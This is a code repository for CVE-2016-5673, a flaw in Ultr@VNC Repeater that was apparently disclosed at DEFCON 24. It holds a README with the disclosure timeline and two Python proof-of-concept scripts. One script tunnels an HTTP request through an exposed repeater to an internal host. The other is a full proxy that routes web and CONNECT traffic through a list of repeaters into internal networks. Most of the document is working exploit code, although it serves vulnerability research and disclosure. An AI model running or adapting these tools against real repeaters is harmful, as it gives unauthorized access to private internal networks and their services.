├── README.md ├── http_vncrepeater.py └── stargateproxy.py /README.md: -------------------------------------------------------------------------------- 1 | ## CVE-2016-5673: Ultr@VNC Repeater ## 2 | ============= 3 | 4 | This repository contains the POCs for CVE-2016-5673. This vulnerability was published at our talk at DEFCON 24 in 2016: https://www.defcon.org/html/defcon-24/dc-24-speakers.html#Klijnsma 5 | 6 | ### Timeline: ### 7 | 8 | - Vulnerability discovered: `February 13th 2016` 9 | - Vulnerability reported: `April 21st 2016` 10 | - Vulnerability fixed in version `1.30` released around `June 30th 2016` 11 | 12 | ### The vulnerability ### 13 | 14 | Ultr@VNC Repeaters are basically raw TCP proxies which purpose is to tunnel VNC sessions to machines in internal networks exposed via these repeaters. These repeaters do not inspect the actual traffic that passes through them. With limited to no default filtering anyone from the outside can connect to any internal host on any port. This means from the outside access to the internal network is possible. 15 | -------------------------------------------------------------------------------- /http_vncrepeater.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/python3 2 | 3 | # Stargate UltraVNC Repeater vulnerability POC 4 | # by Yonathan Klijnsma & Dan Tentler 5 | 6 | import socket 7 | import sys 8 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 9 | 10 | # Arguments 11 | host = sys.argv[1] 12 | port = int(sys.argv[2]) 13 | remotehost = str(sys.argv[3]) 14 | remoteport = int(sys.argv[4]) 15 | uri = str(sys.argv[5]) 16 | 17 | s.connect((host,port)) 18 | if s.recv(12).decode().strip() != 'RFB 000.000': 19 | print '[!] Host is NOT an UltraVNC repeater' 20 | else: 21 | print '[+] Connected to UltraVNC repeater at %s:%d' % (host, port) 22 | 23 | # Wrap ports 24 | if len(str(remoteport)) < 4: 25 | remoteport += 65536 26 | 27 | 28 | header = remotehost + ':' + str(remoteport) 29 | headerlen = len(header) 30 | multiplier = 250 - int(headerlen) 31 | padding = '\x00' * int(multiplier) 32 | comms = header + padding 33 | s.send(comms.encode()) 34 | 35 | payload = 'GET %s HTTP/1.0\r\n\r\n' % uri 36 | print "[+] Proxying HTTP request to: %s%s" % (remotehost, uri) 37 | s.send(payload) 38 | print "[+] Server response:\n" + s.recv(1024).decode() -------------------------------------------------------------------------------- /stargateproxy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Stargate UltraVNC Repeater vulnerability HTTP Proxy POC 4 | # by Yonathan Klijnsma & Dan Tentler 5 | 6 | # Code is based on https://code.google.com/archive/p/python-proxy/ 7 | 8 | import socket, thread, select, random 9 | from optparse import OptionParser 10 | 11 | STARGATES = None 12 | BUFLEN = 8192 13 | SUPPORTED_METHODS = ['GET', 'POST', 'HEAD'] 14 | 15 | class StargateConnectionHandler: 16 | def __init__(self, connection, address, timeout): 17 | global STARGATES, SUPPORTED_METHODS 18 | 19 | self.stargates = STARGATES 20 | self.client = connection 21 | self.client_buffer = '' 22 | self.timeout = timeout 23 | self.method, self.path, self.protocol = self.get_base_header() 24 | if self.method in SUPPORTED_METHODS: 25 | self.method_supported() 26 | elif self.method == "CONNECT": 27 | self.method_connect() 28 | self.client.close() 29 | self.target.close() 30 | 31 | def get_base_header(self): 32 | global BUFLEN 33 | 34 | while 1: 35 | self.client_buffer += self.client.recv(BUFLEN) 36 | end = self.client_buffer.find('\n') 37 | if end != -1: 38 | break 39 | self.client_orig_buffer = self.client_buffer 40 | data = (self.client_buffer[:end+1]).split() 41 | self.client_buffer = self.client_buffer[end+1:] 42 | return data 43 | 44 | def method_connect(self): 45 | self.connect_to_stargate(self.path) 46 | self.client.send('HTTP/1.1 200 Connection established\nX-StargateProxy: DEFCON24\n\n') 47 | self.client_buffer = '' 48 | self.client_orig_buffer = '' 49 | self.process_connection() 50 | 51 | def method_supported(self): 52 | self.path = self.path[7:] 53 | i = self.path.find('/') 54 | host = self.path[:i] 55 | path = self.path[i:] 56 | self.connect_to_stargate(host) 57 | self.target.send(self.client_orig_buffer) 58 | self.client_buffer = '' 59 | self.client_orig_buffer = '' 60 | self.process_connection() 61 | 62 | def connect_to_stargate(self, host): 63 | i = host.find(':') 64 | if i != -1: 65 | port = int(host[i+1:]) 66 | host = host[:i] 67 | else: 68 | port = 80 69 | 70 | # Stargate connection 71 | selected_stargate = random.choice(self.stargates) 72 | stargate_host, stargate_port = selected_stargate.split(":") 73 | (soc_family, _, _, _, address) = socket.getaddrinfo(stargate_host, stargate_port)[0] 74 | self.target = socket.socket(soc_family) 75 | self.target.connect(address) 76 | 77 | # Wrap ports 78 | if len(str(port)) < 4: 79 | port += 65536 80 | 81 | # Build stargate connection buffer 82 | header = host + ':' + str(port) 83 | headerlen = len(header) 84 | multiplier = 250 - int(headerlen) 85 | padding = '\x00' * int(multiplier) 86 | comms = header + padding 87 | self.target.send(comms.encode()) 88 | resp = self.target.recv(12).decode() 89 | 90 | def process_connection(self): 91 | global BUFLEN 92 | 93 | time_out_max = self.timeout/3 94 | socs = [self.client, self.target] 95 | count = 0 96 | while 1: 97 | count += 1 98 | (recv, _, error) = select.select(socs, [], socs, 3) 99 | if error: 100 | break 101 | if recv: 102 | for in_ in recv: 103 | data = in_.recv(BUFLEN) 104 | if in_ is self.client: 105 | out = self.target 106 | else: 107 | out = self.client 108 | if data: 109 | out.send(data) 110 | count = 0 111 | if count == time_out_max: 112 | break 113 | 114 | def start_proxy(host='localhost', port=8080, timeout=60, stargates=None): 115 | global STARGATES 116 | 117 | if not stargates: 118 | print '[+] No stargate hosts specified. Exiting..' 119 | sys.exit() 120 | 121 | STARGATES = stargates.split(',') 122 | 123 | stargate_socket = socket.socket(socket.AF_INET) 124 | stargate_socket.bind((host, int(port))) 125 | stargate_socket.listen(0) 126 | 127 | print "[+] Stargate HTTP Proxy started and listening on %s:%s" % (host, port) 128 | print "[+] Loaded %i stargates for proxying purpose" % len(STARGATES) 129 | 130 | while 1: 131 | thread.start_new_thread(StargateConnectionHandler, stargate_socket.accept() + (timeout,)) 132 | 133 | if __name__ == '__main__': 134 | parser = OptionParser() 135 | parser.add_option("-s", "--stargates", dest="stargates", default=None, 136 | help="List of comma seperated stargate IP:PORT combinations") 137 | parser.add_option("-a", "--address", dest="host", default="localhost", 138 | help="Host to bind the proxy to") 139 | parser.add_option("-p", "--port", dest="port", default=8080, 140 | help="Port to make the proxy listen on") 141 | 142 | (options, args) = parser.parse_args() 143 | 144 | if not options.stargates: 145 | parser.error("At least one stargate host needs to be specified with the -s or --stargates options") 146 | 147 | start_proxy(host=options.host, port=options.port, stargates=options.stargates) 148 | --------------------------------------------------------------------------------